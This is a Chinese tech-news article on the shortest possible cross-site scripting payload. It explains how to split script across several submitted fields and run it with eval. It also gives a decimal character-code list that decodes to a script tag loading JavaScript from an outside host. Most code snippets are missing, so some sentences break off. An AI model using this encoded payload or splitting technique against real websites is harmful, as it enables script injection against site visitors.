扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码: ,查一下,一共27个字符。嘿嘿,不过,这之前我在《安全手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:
以下是代码片段:
将这些语句分别写入,只要所写入的语句在一个页面中显示,那么这些代码最后就会引入到变量z中,总到一块就是:
以下是代码片段:
document.write("")
然后用eval()函数来执行这个z变量,就可以执行出跨站效果了。lcx在文章的评论中说,最小的有效利用代码可以是 26个字母,就是,答案不就出来了,最小的跨站是26个字符。(今天在网上查找资料时,发现利用这种方法还可以少一个字符,就是:,用+=来代替=z +,嘿嘿,又可以减少一个字符,25个字符,不过,也好伤心,我好像只能在别人的基础上面有所突破!:( )。回复剑心后,他竟回了一个笑脸,我感觉这家伙一定又找出了更短的跨站方法。/jmdcw/
果不其然,今天翻开《安全手册》第九期中的《phpwind漏洞之行》(因为一些原因,好久没有仔细看过书了),在其中提到了更短的跨站代码,如下:
以下是代码片段:
这其中的/*和*/是script的注释语句,将这些语句分别提交,同样的条件是这些提交的代码必须在一个页面中,这样最后所显示的就是:
那么这个的最短的语句是多少呢?貌似") 转为10进制表示字符:
100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59
然后用eval加String.fromCharCode来执行
下面就用剑心的方法来进行拆分:
中间的....表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。